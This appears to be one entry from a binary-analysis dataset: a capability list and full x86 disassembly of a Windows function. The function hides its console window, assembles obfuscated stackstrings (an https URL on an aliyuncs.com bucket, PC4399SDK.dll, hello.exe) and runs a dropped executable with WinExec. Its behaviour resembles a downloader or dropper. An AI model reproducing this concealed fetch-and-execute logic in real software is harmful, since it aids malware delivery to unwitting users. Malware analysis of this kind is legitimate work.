Function at 0x406920
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Copy file
Create directory
Create process on windows
Delete directory
Get common file path
Get disk information
Get file attributes
Get memory capacity
Hide graphical window
Identify system language via api
Move file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4094f3
mov eax, dword fs:[0]
push eax
sub esp, 0x52c
mov eax, dword [0x40f3d4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.Mutex
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [ebp - 0x4d4]
push eax
call esi
push 0x227
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [ebp - 4], 0xffffffff
test edi, edi
jne 0x4069a3
push 0xffffffffffffffff
call dword [sym.imp.MSVCR100.dll_exit]
lea ecx, [ebp - 0x4d4]
push ecx
mov dword [ebp - 0x6c], 0x70747468
mov dword [ebp - 0x68], 0x2f2f3a73
mov dword [ebp - 0x64], 0x62756c63
mov dword [ebp - 0x60], 0x656d6167
mov dword [ebp - 0x5c], 0x73736f2e
mov dword [ebp - 0x58], 0x2d6e632d
mov dword [ebp - 0x54], 0x6e656873
mov dword [ebp - 0x50], 0x6e65687a
mov dword [ebp - 0x4c], 0x696c612e
mov dword [ebp - 0x48], 0x636e7579
mov dword [ebp - 0x44], 0x6f632e73
mov word [ebp - 0x40], 0x6d
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea edx, [ebp - 0x538]
push edx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0xfffffffffffffff0
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
mov dword [ebp - 0x2c], 0x702e3162
mov word [ebp - 0x28], 0x676e
mov byte [ebp - 0x26], 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0x40b400
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
lea eax, [ebp - 0x538]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
push str.._F
push str.._yA
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push str.._C3u
push str.._zH
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0xb4], 0x65356366
mov dword [ebp - 0xb0], 0x64383330
mov dword [ebp - 0xac], 0x35613833
mov dword [ebp - 0xa8], 0x32333037
mov dword [ebp - 0xa4], 0x34353830
mov dword [ebp - 0xa0], 0x37653134
mov dword [ebp - 0x9c], 0x30376566
mov dword [ebp - 0x98], 0x30623031
mov byte [ebp - 0x94], 0
call ebx
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
push 1
push 0x1e4
push 0x2c8
push 0x353
push 0x3a2
mov dword [ebp - 0x24], 0x702e3262
mov word [ebp - 0x20], 0x676e
mov byte [ebp - 0x1e], 0
call ebx
push eax
call dword [sym.imp.USER32.dll_MoveWindow]
lea ecx, [ebp - 0x4d4]
push ecx
call ebx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
lea edx, [ebp - 0x52c]
push edx
call esi
lea eax, [ebp - 0x538]
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 0
push str.._c
call esi
mov dword [ebp - 0x90], 0x65356366
mov dword [ebp - 0x8c], 0x64383330
mov dword [ebp - 0x88], 0x35613833
mov dword [ebp - 0x84], 0x32333037
mov dword [ebp - 0x80], 0x34353830
mov dword [ebp - 0x7c], 0x37653134
mov dword [ebp - 0x78], 0x30376566
mov dword [ebp - 0x74], 0x30623031
mov byte [ebp - 0x70], 0
call ebx
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
lea ecx, [ebp - 0x538]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x20
call edi
push 0x318
mov dword [ebp - 0x3c], 0x33344350
mov dword [ebp - 0x38], 0x44533939
mov dword [ebp - 0x34], 0x6c642e4b
mov word [ebp - 0x30], 0x6c
call edi
push 0
push 0x40b3b0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
push 1
push str.._L
push str.._0
call esi
push 1
push str.._Mm
push str.._Lz
call esi
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0x214
call ebx
push eax
call dword [sym.imp.USER32.dll_KillTimer]
mov esi, dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
lea edx, [ebp - 0x51c]
push edx
call esi
push 0
mov dword [ebp - 0x1c], 0x39323636
mov dword [ebp - 0x18], 0x38313738
mov word [ebp - 0x14], 0x3833
mov byte [ebp - 0x12], 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.._wFH
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push 0x4f
push 0x54
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0x103
lea eax, [ebp - 0x1b7]
push 0
push eax
mov byte [ebp - 0x1b8], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x51c]
push ecx
call esi
lea edx, [ebp - 0x52c]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xe4
lea eax, [ebp - 0x3a0]
push 0
mov ecx, 8
mov esi, str.C:Program_Files__x86_x264vfw
lea edi, [ebp - 0x3c0]
push eax
rep movsd dword es:[edi], dword [esi]
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x12
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea ecx, [ebp - 0x4c4]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x103
lea edx, [ebp - 0x2bb]
push 0
push edx
mov byte [ebp - 0x2bc], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
push str.._W
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push str.1Ul
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0
lea eax, [ebp - 0x3c0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push str.._ifl
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push 0xffffffffffffffeb
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
lea ecx, [ebp - 0x530]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x1b8]
push str._s_b__s
push ecx
call esi
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x2bc]
push str._s_s
push ecx
call esi
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea edx, [ebp - 0x51c]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x504], 0xf
mov dword [ebp - 0x508], 0
lea eax, [ebp - 0x90]
mov byte [ebp - 0x518], 0
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406df8
sub eax, edi
push eax
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0x518]
call fcn.00405580
xor edi, edi
lea eax, [ebp - 0x2bc]
mov dword [ebp - 4], 0x20
mov dword [ebp - 0x4e8], 0xf
mov dword [ebp - 0x4ec], edi
mov byte [ebp - 0x4fc], 0
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406e40
sub eax, edx
push eax
lea ecx, [ebp - 0x2bc]
push ecx
lea ecx, [ebp - 0x4fc]
call fcn.00405580
lea eax, [ebp - 0x1b8]
mov byte [ebp - 4], 0x21
mov dword [ebp - 0x4cc], 0xf
mov dword [ebp - 0x4d0], edi
mov byte [ebp - 0x4e0], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406e80
sub eax, edx
push eax
lea edx, [ebp - 0x1b8]
push edx
lea ecx, [ebp - 0x4e0]
call fcn.00405580
lea eax, [ebp - 0x518]
push eax
lea ecx, [ebp - 0x4fc]
push ecx
lea edx, [ebp - 0x4e0]
push edx
mov byte [ebp - 4], 0x22
call fcn.00406370
add esp, 0xc
test al, al
mov edi, 0x10
sete byte [ebp - 0x531]
cmp dword [ebp - 0x4cc], edi
jb 0x406ee2
mov eax, dword [ebp - 0x4e0]
push eax
call sub.mfc100.dll_Ordinal_1296
add esp, 4
mov dword [ebp - 0x4cc], 0xf
mov dword [ebp - 0x4d0], 0
mov byte [ebp - 0x4e0], 0
cmp dword [ebp - 0x4e8], edi
jb 0x406f14
mov ecx, dword [ebp - 0x4fc]
push ecx
call sub.mfc100.dll_Ordinal_1296
add esp, 4
or edi, 0xffffffff
cmp dword [ebp - 0x504], 0x10
mov dword [ebp - 0x4e8], 0xf
mov dword [ebp - 0x4ec], 0
mov byte [ebp - 0x4fc], 0
mov dword [ebp - 4], edi
jb 0x406f4d
mov edx, dword [ebp - 0x518]
push edx
call sub.mfc100.dll_Ordinal_1296
add esp, 4
cmp byte [ebp - 0x531], 0
je 0x406f5d
push edi
call dword [sym.imp.MSVCR100.dll_exit]
push 7
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x1b8]
push str._s_c__d.png
push ecx
call esi
add esp, 0x10
lea edx, [ebp - 0x4c4]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0
call ebx
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0x49
push 0x20
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
lea ecx, [ebp - 0x1b8]
push ecx
push str.up_downloadUrl
push edx
mov dword [ebp - 4], edi
call fcn.00404e90
add esp, 8
push eax
call fcn.00404e90
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0xffffffffffffffeb
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
push str.._lz
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 0x40b2dc
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x2bc]
push str._sconfig.ini
push ecx
call esi
add esp, 0xc
push str.._XiF
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], edi
mov dword [ebp - 0x504], 0xf
mov dword [ebp - 0x508], 0
mov byte [ebp - 0x518], 0
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407047
sub eax, edi
push eax
lea edx, [ebp - 0x1c]
push edx
lea ecx, [ebp - 0x518]
call fcn.00405580
mov edi, 0xf
lea eax, [ebp - 0x2bc]
mov dword [ebp - 4], 0x2b
mov dword [ebp - 0x4cc], edi
mov dword [ebp - 0x4d0], 0
mov byte [ebp - 0x4e0], 0
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407090
sub eax, edx
push eax
lea eax, [ebp - 0x2bc]
push eax
lea ecx, [ebp - 0x4e0]
call fcn.00405580
lea eax, [ebp - 0x1b8]
mov byte [ebp - 4], 0x2c
mov dword [ebp - 0x4e8], edi
mov dword [ebp - 0x4ec], 0
mov byte [ebp - 0x4fc], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4070d0
sub eax, edx
push eax
lea ecx, [ebp - 0x1b8]
push ecx
lea ecx, [ebp - 0x4fc]
call fcn.00405580
lea edx, [ebp - 0x518]
push edx
lea eax, [ebp - 0x4e0]
push eax
lea ecx, [ebp - 0x4fc]
push ecx
mov byte [ebp - 4], 0x2d
call fcn.00406370
add esp, 0xc
test al, al
sete byte [ebp - 0x531]
cmp dword [ebp - 0x4e8], 0x10
jb 0x40712e
mov edx, dword [ebp - 0x4fc]
push edx
call sub.mfc100.dll_Ordinal_1296
add esp, 4
cmp dword [ebp - 0x4cc], 0x10
mov dword [ebp - 0x4e8], edi
mov dword [ebp - 0x4ec], 0
mov byte [ebp - 0x4fc], 0
jb 0x40715d
mov eax, dword [ebp - 0x4e0]
push eax
call sub.mfc100.dll_Ordinal_1296
add esp, 4
cmp dword [ebp - 0x504], 0x10
mov dword [ebp - 0x4cc], edi
mov dword [ebp - 0x4d0], 0
mov byte [ebp - 0x4e0], 0
mov dword [ebp - 4], 0xffffffff
jb 0x407193
mov ecx, dword [ebp - 0x518]
push ecx
call sub.mfc100.dll_Ordinal_1296
add esp, 4
cmp byte [ebp - 0x531], 0
je 0x4071a4
push 0xffffffffffffffff
call dword [sym.imp.MSVCR100.dll_exit]
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x1b8]
push str._s_b__s
push ecx
call esi
add esp, 0x10
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 1
push str.._a4U
push 0x40b2a4
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [ebp - 0x52c]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x2bc]
push str._shello.exe
push ecx
call esi
add esp, 0xc
push str.Hv
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
lea edx, [ebp - 0x52c]
push edx
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
push 0
push 0
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push 0x40b27c
push str.jkZ
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0x3a2
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 0xb4]
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x504], edi
mov dword [ebp - 0x508], 0
mov byte [ebp - 0x518], 0
lea esi, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407290
sub eax, esi
push eax
lea eax, [ebp - 0xb4]
push eax
lea ecx, [ebp - 0x518]
call fcn.00405580
lea eax, [ebp - 0x2bc]
mov dword [ebp - 4], 0x34
mov dword [ebp - 0x4cc], edi
mov dword [ebp - 0x4d0], 0
mov byte [ebp - 0x4e0], 0
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4072d3
sub eax, esi
push eax
lea ecx, [ebp - 0x2bc]
push ecx
lea ecx, [ebp - 0x4e0]
call fcn.00405580
lea eax, [ebp - 0x1b8]
mov byte [ebp - 4], 0x35
mov dword [ebp - 0x4e8], edi
mov dword [ebp - 0x4ec], 0
mov byte [ebp - 0x4fc], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407313
sub eax, edx
push eax
lea edx, [ebp - 0x1b8]
push edx
lea ecx, [ebp - 0x4fc]
call fcn.00405580
lea eax, [ebp - 0x518]
push eax
lea ecx, [ebp - 0x4e0]
push ecx
lea edx, [ebp - 0x4fc]
push edx
mov byte [ebp - 4], 0x36
call fcn.00406370
add esp, 0xc
test al, al
mov esi, 0x10
sete byte [ebp - 0x531]
cmp dword [ebp - 0x4e8], esi
jb 0x407375
mov eax, dword [ebp - 0x4fc]
push eax
call sub.mfc100.dll_Ordinal_1296
add esp, 4
mov dword [ebp - 0x4e8], edi
mov dword [ebp - 0x4ec], 0
mov byte [ebp - 0x4fc], 0
cmp dword [ebp - 0x4cc], esi
jb 0x4073a3
mov ecx, dword [ebp - 0x4e0]
push ecx
call sub.mfc100.dll_Ordinal_1296
add esp, 4
mov dword [ebp - 0x4cc], edi
mov dword [ebp - 0x4d0], 0
mov byte [ebp - 0x4e0], 0
cmp dword [ebp - 0x504], esi
jb 0x4073d1
mov edx, dword [ebp - 0x518]
push edx
call sub.mfc100.dll_Ordinal_1296
add esp, 4
cmp byte [ebp - 0x531], 0
je 0x4073e2
push 0xffffffffffffffff
call dword [sym.imp.MSVCR100.dll_exit]
push 5
lea eax, [ebp - 0x2bc]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [ebp - 0x52c]
push ecx
mov esi, eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
push 1
push 0x386
push 0x252
push 0x33d
push 0x31b
call ebx
push eax
call dword [sym.imp.USER32.dll_MoveWindow]
push str.rAx
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push str.._7Yz
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp esi, 0x1f
jbe 0x407448
push 0xffffffffffffffff
call dword [sym.imp.MSVCR100.dll_exit]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00408422
mov esp, ebp
pop ebp
ret